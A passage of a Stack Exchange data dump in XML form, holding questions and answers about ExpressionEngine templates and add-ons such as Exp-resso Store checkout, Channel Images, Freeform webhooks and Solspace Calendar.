&amp;lt;div&amp;gt;{shipping_address2}&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div&amp;gt;{shipping_city} {shipping_postcode}&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div&amp;gt;{shipping_state_name}&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div&amp;gt;{shipping_country_name}&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div&amp;gt;{shipping_phone}&amp;lt;/div&amp;gt;&#xA;                        {/if}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;legend&amp;gt;Payment&amp;lt;/legend&amp;gt;&#xA;&#xA;            {if error:payment_method}&#xA;                &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;alert alert-error&quot;&amp;gt;{error:payment_method}&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;&#xA;&#xA;&#xA;&#xA;       &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_method&quot;&amp;gt;Payment&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;select id=&quot;payment_method&quot; name=&quot;payment_method&quot;&amp;gt;&#xA;                        &amp;lt;option value=&quot;PayPal_Express&quot;&amp;gt; Paypal&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;Mollie_Ideal&quot;&amp;gt; iDeal (via Mollie)&amp;lt;/option&amp;gt;&#xA;&#xA;&#xA;                    &amp;lt;/select&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;legend&amp;gt;Review&amp;lt;/legend&amp;gt;&#xA;&#xA;            &amp;lt;table class=&quot;table table-condensed&quot;&amp;gt;&#xA;                &amp;lt;thead&amp;gt;&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;th style=&quot;width:60%&quot;&amp;gt;Product&amp;lt;/th&amp;gt;&#xA;                        &amp;lt;th style=&quot;text-align:right&quot;&amp;gt;Total&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;/thead&amp;gt;&#xA;                &amp;lt;tbody&amp;gt;&#xA;                    {items}&#xA;                        &amp;lt;tr&amp;gt;&#xA;                            &amp;lt;td&amp;gt;{item_qty} &amp;amp;times; {title}&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{item_subtotal}&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                    {/items}&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;th&amp;gt;Subtotal&amp;lt;/th&amp;gt;&#xA;                        &amp;lt;th style=&quot;text-align:right&quot;&amp;gt;{order_subtotal}&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                    {if shipping_method}&#xA;                        &amp;lt;tr&amp;gt;&#xA;                            &amp;lt;td&amp;gt;Shipping ({shipping_method_name})&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{order_shipping}&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                    {/if}&#xA;                    {if order_handling_val}&#xA;                        &amp;lt;tr&amp;gt;&#xA;                            &amp;lt;td&amp;gt;Handling&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{order_handling}&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                    {/if}&#xA;                    {if order_tax_val}&#xA;                        &amp;lt;tr&amp;gt;&#xA;                            &amp;lt;td&amp;gt;{tax_name} ({tax_percent}%)&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{order_tax}&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                    {/if}&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;th&amp;gt;Total&amp;lt;/th&amp;gt;&#xA;                        &amp;lt;th style=&quot;text-align:right&quot;&amp;gt;{order_total}&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;/tbody&amp;gt;&#xA;            &amp;lt;/table&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;&amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;{path='shop/checkout2'}&quot; class=&quot;button nonprimair&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;checkout&quot; class=&quot;button cta&quot; /&amp;gt;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="426" LastEditorUserId="426" LastEditDate="2016-02-22T18:18:37.840" LastActivityDate="2016-05-28T01:05:55.423" Title="Exp-resso Store: What is the Mollie Webhook?" Tags="|expresso-store|payment-gateway|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35603" PostTypeId="2" ParentId="35597" CreationDate="2016-02-18T17:18:58.247" Score="0" Body="&lt;p&gt;Okay, I was completely wrong about using &quot;images static&quot; -- not really sure what that is or how to use it, but whatever. But I am able to achieve my goal with just regular Channel Images tags, where my first snippet will be like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:channel:entries channel=&quot;about&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;    {exp:channel_images:images entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot;}&#xA;      &amp;lt;img src=&quot;{image:url:medium}&quot; alt=&quot;{image:alt}&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;caption&quot;&amp;gt;{image:description}&amp;lt;/div&amp;gt;&#xA;    {/exp:channel_images:images}&#xA;  {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and my second snippet will add &lt;code&gt;offset=&quot;1&quot;&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_images:images entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot; offset=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Problem solved.&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2016-02-18T17:18:58.247" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35604" PostTypeId="2" ParentId="35269" CreationDate="2016-02-18T19:54:29.007" Score="2" Body="&lt;p&gt;I reported this bug to Pixel &amp;amp; Tonic, and they right away got working on a &quot;duct-tape&quot; type fix. It seems, to get this working, in Assets 2.6, you can change line &lt;code&gt;1810&lt;/code&gt; of &lt;code&gt;system/expressionengine/third_party/assets/ft.assets.php&lt;/code&gt; from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (! $field_name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tagparts = ee()-&amp;gt;TMPL-&amp;gt;tagparts;&#xA;if (! $field_name || (isset($tagparts[0]) &amp;amp;&amp;amp; $tagparts[0] == 'low_variables'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then in your template, you need to use the &lt;code&gt;var_prefix&lt;/code&gt; parameter, and then put that prefix BEFORE everything else in your variable, and it should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{homepage_slider:images var_prefix=&quot;image&quot;}&#xA;    &amp;lt;img src=&quot;{image:homepage_slider:images:url}&quot; /&amp;gt;&#xA;{/homepage_slider:images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps someone!&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2016-02-18T19:54:29.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35606" PostTypeId="1" CreationDate="2016-02-18T22:45:24.880" Score="0" ViewCount="307" Body="&lt;p&gt;I'm using an external service - Unbounce.com - to manage my landing pages. Unbounce gives me the option to post to an external URL using their Webhook Integration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Freeform to manage my forms. Can anyone give me some advice on how to hook this up? I suspect it's going to be a URL with &quot;ACT&quot; in it, but I'm not really sure where to start? Do I create a receiver form in Freeform?&lt;/p&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2024-02-16T23:04:05.483" Title="WebHook: How to POST form data to a URL?" Tags="|solspace-freeform|forms|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35607" PostTypeId="1" CreationDate="2016-02-18T23:05:39.017" Score="0" ViewCount="16" Body="&lt;p&gt;I'm using solspace calendar to output events. Everything works well, the only issue is that for some reason, no matter what parameters I supply for date_range_start, date_range_end, and show_days, the tag always outputs an entire week. Here is the tag I'm using:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{exp:calendar:cal&#xA;           event_limit=&quot;4&quot;&#xA;           paginate=&quot;bottom&quot;&#xA;           category=&quot;public&quot;&#xA;           date_range_start=&quot;2016-02-25&quot;&#xA;           show_days=&quot;1&quot;&#xA;   }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This always gives back a full week of events. So, in this example, since the 25th is in the middle of the week, the cal tag outputs all events from 2/21 - 2/27 (sunday-saturday).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="7013" LastActivityDate="2016-03-21T02:28:19.380" Title="Solspace Calendar always shows full week" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35608" PostTypeId="1" CreationDate="2016-02-19T00:07:38.100" Score="0" ViewCount="104" Body="&lt;p&gt;I am trying to use count and total_results to detect the last item but total_results is not working in a relationship field. I can get the count and verify there are multiple entries but not the total.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries url_title=&quot;the-title&quot;}&#xA;&#xA;{project_images}&#xA;&#xA;&#xA;    {!-- working --}&#xA;    {project_images:count}    &#xA;&#xA;    {!-- not working --}&#xA;    {project_images:total_results}&#xA;&#xA;{/project_images}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;produces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1   2   3   4   5   6   7&lt;/p&gt;&#xA;" OwnerUserId="7112" LastActivityDate="2016-06-01T20:15:23.280" Title="Can't get total results for relationship field" Tags="|templates|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35609" PostTypeId="2" ParentId="35607" CreationDate="2016-02-19T04:56:33.130" Score="0" Body="&lt;p&gt;By default, the Calendar:Cal tag in Calendar 1.x assumes you want to display a full week or full month view, and automatically pads extra days to make it a full week. You'll need to simply just specify the &lt;a href=&quot;https://solspace.com/legacy_docs/calendar-1/cal/#pad_short_weeks&quot; rel=&quot;nofollow&quot;&gt;pad_short_weeks=&quot;n&quot;&lt;/a&gt; parameter to stop this from happening. :)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2016-02-19T04:56:33.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35610" PostTypeId="1" CreationDate="2016-02-19T07:46:55.507" Score="0" ViewCount="33" Body="&lt;p&gt;I've got Google Maps for EE set up to show a US map listing the locations of all of the firms within an organization.  Everything seems to be working ok, but one of the locations is showing up twice (it's only entered once on the back-end).  There are a few locations that are overlapping (making it hard to tell that), so I want to enable clustering to give a visual cue that more than one location might exist.  However, when I do, I get other locations that randomly appear twice.  Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:init id=&quot;member_directory&quot; style=&quot;width:1000px;height:600px&quot;}&#xA;{exp:channel:entries channel=&quot;firms&quot; dynamic=&quot;off&quot; status=&quot;open&quot; limit=&quot;500&quot;}&#xA;{cf_firm_location}&#xA;    {exp:gmap:marker&#xA;        id=&quot;member_directory&quot;&#xA;        address=&quot;{m_address}{street}, {city}, {region} {postal_code}{/m_address}&quot;&#xA;        zoom=&quot;4&quot;&#xA;        //open_windows=&quot;false&quot;&#xA;        //extend_bounds=&quot;false&quot;&#xA;        //geocode=&quot;false&quot;&#xA;        clustering=&quot;true&quot;&#xA;        icon=&quot;/themes/third_party/gmap/icons/office.png&quot;&#xA;        infobox=&quot;true&quot; // Tells script to use infobox.js&#xA;        //offsetY=&quot;-45&quot; // Offset the X position of the window&#xA;        //offsetX=&quot;15&quot; // Offset the Y position of the window&#xA;        closeBoxMargin=&quot;5px&quot; // Sets the box margin (could also be done in stylesheet)&#xA;        class=&quot;ui-infobox-dark&quot; // Uses the dark theme made available by Google Maps for ExpressionEngine v3&#xA;        closeBoxURL=&quot;/themes/third_party/gmap/css/images/white-close-button.png&quot; //Uses an alternative close button&#xA;        style=&quot;width: '400px'&quot;&#xA;    }&#xA;        &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;p class=&quot;google-map-contact-details&quot;&amp;gt;{m_address}{street}&amp;lt;br&amp;gt;{city}, {region} {postal_code}{/m_address}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p class=&quot;google-map-contact-details&quot;&amp;gt;&#xA;            {if m_phone1}Phone: {m_phone1}&amp;lt;br&amp;gt;{/if}&#xA;            {if m_phone2}Phone 2: {m_phone2}&amp;lt;br&amp;gt;{/if}&#xA;            {if m_fax}Fax: {m_fax}&amp;lt;br&amp;gt;{/if}&#xA;            {if cf_firm_website}&amp;lt;a href=&quot;{cf_firm_website}&quot; target=&quot;_blank&quot;&amp;gt;{cf_firm_website}&amp;lt;/a&amp;gt;{/if}&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;p class=&quot;google-map-contact-details&quot;&amp;gt;&amp;lt;a href=&quot;/directory/firm/{url_title}&quot;&amp;gt;View Full Profile&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {/exp:gmap:marker}&#xA;{/cf_firm_location}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts to why that might be happening?  I've confirmed in the source code that the same firms are showing up twice.  Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2016-02-19T07:46:55.507" Title="Random Duplicate locations when using Google Maps for EE" Tags="|google-maps-for-ee|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35611" PostTypeId="2" ParentId="35606" CreationDate="2016-02-19T08:50:34.083" Score="0" Body="&lt;p&gt;If you have to use Freeform, you'll need to write an &lt;a href=&quot;https://docs.expressionengine.com/latest/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;extension&lt;/a&gt; to take the form data sent to Freeform and send a copy elsewhere. The hook you want to use is probably &lt;a href=&quot;https://solspace.com/expressionengine/freeform/docs/extension_hooks/#freeform_module_insert_end&quot; rel=&quot;nofollow&quot;&gt;freeform_module_insert_end&lt;/a&gt;, as this will have validated the form data and only includes what is valid for the form (not all post data). This means the data is saved in Freeform (with Freeform handling all the validation and heavy lifting), then sent via your extension to Unbounce.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2016-02-19T08:50:34.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35614" PostTypeId="2" ParentId="32495" CreationDate="2016-02-19T13:47:55.843" Score="0" Body="&lt;p&gt;Late to answer this, but when I expirienced same problem it appeared to originate from fact that jQuery was also included second time in the footer. I removed jQuery inclusion from the footer and all started working.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2016-02-19T13:47:55.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35615" PostTypeId="2" ParentId="35594" CreationDate="2016-02-19T14:18:57.243" Score="2" Body="&lt;p&gt;OK,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the last email to Himanshu with DevDemon support...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hi Brian&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Ok I have found the problem from your side . You have not set&#xA;  Caching driver disable but to work with Channel Images, you must set&#xA;  it to the &quot;FIle&quot;. Now I have set it to file and it working perfectly.&#xA;  I have set dummy Channel , Field Group and Field to test on your&#xA;  server.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I have attached image to display the setting&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;thanks, &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Himanshu &lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;Himanshu,&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Thank you for finding this. I have two quick questions.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;1)    I didn’t change anything on the cache settings. This was a blank&#xA;  install and then started loading things in. Is this a default setting&#xA;  for EE3 or could an addon have made that setting? &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2)    If this is a&#xA;  setting that has to be set proper for CI to work, should the addon&#xA;  either inform or lock this setting in EE’s CP? If not, should this be&#xA;  in the docs or at least issue a better error message?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Thanks,&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Brian&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is the image he attached...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zaQ7A.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zaQ7A.jpg&quot; alt=&quot;Settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-02-19T14:18:57.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35616" PostTypeId="2" ParentId="28445" CreationDate="2016-02-19T15:15:46.613" Score="1" Body="&lt;p&gt;As you state, all sessions and carts will be cleared if you clean those tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on how long your sessions run, some visitors will lose their cart content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both tables have timestamp columns so you could choose to only clear the old ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bart&lt;/p&gt;&#xA;" OwnerUserId="7118" LastActivityDate="2016-02-19T15:15:46.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35618" PostTypeId="2" ParentId="34619" CreationDate="2016-02-19T16:20:40.557" Score="1" Body="&lt;p&gt;Had time to circle back around to this and finish up my add-on. I don’t think the FilePicker service was documented when I started the question, but it certainly is now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.expressionengine.com/latest/development/services/filepicker.html&quot; rel=&quot;nofollow&quot;&gt;https://docs.expressionengine.com/latest/development/services/filepicker.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I needed to make specific links in my add-on open with a specific directory but I would not necessarily know before hand. I needed to make the FilePicker links available to my template so I could select them based on the upload directory. So I did this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Load the FilePicker&#xA;$filePicker = ee('CP/FilePicker')-&amp;gt;make();&#xA;&#xA;// Class that gets EE's upload directories&#xA;$uploadDirectories = new UploadDirectories();&#xA;&#xA;// Add each directories upload link to array&#xA;$modalLinks = array();&#xA;foreach ($uploadDirectories as $dir) {&#xA;    $modalLinks[$dir['id']] = array(&#xA;        'link' =&amp;gt; $filePicker-&amp;gt;setDirectories($dir['id'])&#xA;            -&amp;gt;getLink(lang('field_type_add_image'))&#xA;            -&amp;gt;setAttribute('class', 'btn action js-ansel-add-image')&#xA;            -&amp;gt;asThumbs()&#xA;            -&amp;gt;enableFilters()&#xA;            -&amp;gt;enableUploads()&#xA;            -&amp;gt;render(),&#xA;        'hiddenLink' =&amp;gt; $filePicker-&amp;gt;setDirectories($dir['id'])&#xA;            -&amp;gt;getLink(lang('field_type_add_image'))&#xA;            -&amp;gt;setAttribute('class', 'btn action js-ansel-add-image js-hide')&#xA;            -&amp;gt;asThumbs()&#xA;            -&amp;gt;enableFilters()&#xA;            -&amp;gt;enableUploads()&#xA;            -&amp;gt;render()&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I make that available to my template. Now I can select the correct button from the array based on the directory ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on the Javascript side:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(.js-ansel-add-image).FilePicker({&#xA;    callback: function(file, references) {&#xA;        // Close the modal&#xA;        references.modal.find('.m-close').click();&#xA;&#xA;        // Do stuff&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="467" LastActivityDate="2016-02-19T16:20:40.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35620" PostTypeId="1" CreationDate="2016-02-19T16:54:26.100" Score="0" ViewCount="279" Body="&lt;p&gt;I cannot get any queries to work using exp:channel:entries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries orderby=&quot;date&quot; start_on=&quot;2015-07-01 20:00&quot; channel=&quot;shipments&quot; limit=&quot;10&quot; dynamic=&quot;no&quot;}&#xA;&amp;lt;p&amp;gt;inloop&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my query above. I have tried every combination of its option variables and nothing works. I cannot get any query to work for any channels except the one below, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;&amp;lt;p&amp;gt;inloop&amp;lt;p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is just pulling out 100 entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a old site for a client that uses expressionengine only as a backend solution. Its V2.6.1 There are no other templates. I am not using file templates, only database. Is there some setting that restricts channels from being used in templates that I am unaware of?&lt;/p&gt;&#xA;" OwnerUserId="6219" LastActivityDate="2019-05-29T11:02:45.507" Title="exp:channel:entries not working by any means" Tags="|templates|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35621" PostTypeId="1" AcceptedAnswerId="35622" CreationDate="2016-02-19T21:22:24.587" Score="0" ViewCount="12" Body="&lt;p&gt;I'm having issues posting fields from individual entries to my sites pages. For example, I'm trying to post a form that changes based on the specific type of page that it's on (my Marketing Automation tool requires different information for each form in the header so that it knows which form is which and how to process it). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've done is create a field for my posts that places the correct forms information in the header. This is the code that is in the header.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; dynamic=&quot;no&quot; disable=&quot;categories|member_data|pagination&quot; limit=&quot;1&quot;}&#xA;    {if segment_1 == 'blog'} &#xA;&#xA;        {post_specific_info}&#xA;&#xA;    {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, what's happening is, it is only pulling the field information from the latest post. I tried removing the limit=&quot;1&quot; but then it pulls in the field from every post. Can anyone help point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="6803" LastActivityDate="2016-02-19T21:45:00.807" Title="Problem Pulling Field Info Into Page" Tags="|forms|fields|channel-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35622" PostTypeId="2" ParentId="35621" CreationDate="2016-02-19T21:45:00.807" Score="0" Body="&lt;p&gt;Ok, so what I was missing was that dynamic should have been set to &quot;yes&quot;. Once I did that, each post began pulling from it's own data rather than the last post.&lt;/p&gt;&#xA;" OwnerUserId="6803" LastActivityDate="2016-02-19T21:45:00.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35623" PostTypeId="1" CreationDate="2016-02-19T22:24:58.577" Score="0" ViewCount="142" Body="&lt;p&gt;I just went through the upgrade process from 2.7.2 to 2.10.3. Now when I try to login, the login page just refreshes. I've tried different browsers and restarting browsers. No error messages, just a page refresh. Anyone else run into this?&lt;/p&gt;&#xA;" OwnerUserId="7119" LastActivityDate="2016-06-02T20:30:35.767" Title="Upgrade from 2.7.2 to 2.10.3 - stuck login" Tags="|login|upgrade|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35626" PostTypeId="1" AcceptedAnswerId="35647" CreationDate="2016-02-21T21:33:35.987" Score="0" ViewCount="141" Body="&lt;p&gt;This works fine but I want to “limit” the number of times the snippet shows up at the top of each entry, I only want it to show up on the top (one time in category “7”, no mater haw many entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;event_calendar&quot; style=&quot;linear&quot; }&#xA;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{path='events/show/'}&quot; /&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;{/exp:channel:categories} &#xA;&#xA;{exp:channel:entries channel=&quot;event_calendar&quot; dynamic=&quot;no&quot;}&#xA;&#xA;{if category_id == &quot;7&quot;} {snippet-rodeo-intro}{/if}&#xA;&#xA;&amp;lt;h2 class=&quot;event-header&quot;&amp;gt;{event_name}&amp;lt;/h2&amp;gt; &#xA;{event_description}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1330" LastEditorUserId="1330" LastEditDate="2016-02-21T22:59:53.187" LastActivityDate="2016-02-23T12:17:17.970" Title="Category Conditional" Tags="|categories|conditionals|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35627" PostTypeId="2" ParentId="35626" CreationDate="2016-02-21T23:35:53.873" Score="0" Body="&lt;p&gt;Not sure exactly what you are trying to do, but I think you might get away with just adding &lt;code&gt;cat_limit=&quot;1&quot;&lt;/code&gt; to your channel:entries tag. More on this &lt;a href=&quot;https://docs.expressionengine.com/latest/channel/channel_entries.html#id28&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't do what you want, the other option is to simply post a flag to a variable when you display the snippet and a test for it being set.  There are various EE extensions that allow you to write to variables during execution - this uses &lt;a href=&quot;https://www.causingeffect.com/software/expressionengine/ce-variables/user-guide/variables&quot; rel=&quot;nofollow&quot;&gt;CE_Variables&lt;/a&gt;, but there are many others.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;{if category_id == &quot;7&quot; AND {exp:ce_vars:snippet_flag} != &quot;1&quot;}&#xA; {snippet-rodeo-intro}&#xA; {exp:ce_vars:set snippet_flag=&quot;1&quot;}&#xA;{/if}&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2016-02-21T23:35:53.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35628" PostTypeId="1" AcceptedAnswerId="35630" CreationDate="2016-02-22T10:52:05.443" Score="1" ViewCount="29" Body="&lt;p&gt;I am busy with a site which should allow authenticated users to upload and download files, however am having issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly i created custom channel fields, which allow file uploads. the image file upload works, the audio upload field also works but when i try upload a video it gives an error the video file 1.1MB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am i missing a step?&lt;/p&gt;&#xA;" OwnerUserId="7080" LastActivityDate="2016-02-22T13:48:12.373" Title="Admin files, downloadable in front end" Tags="|channel-entries|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35629" PostTypeId="1" CreationDate="2016-02-22T13:22:44.373" Score="0" ViewCount="46" Body="&lt;p&gt;I am trying to find out if there is any way I can apply a flat shipping (eg. $2 ) per quantity if a specific promocode is applied.&lt;/p&gt;&#xA;" OwnerUserId="7123" LastEditorUserId="55" LastEditDate="2016-02-22T16:17:35.447" LastActivityDate="2016-05-27T18:00:09.183" Title="Shipping rule based on discount code in Store" Tags="|expresso-store|shipping|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
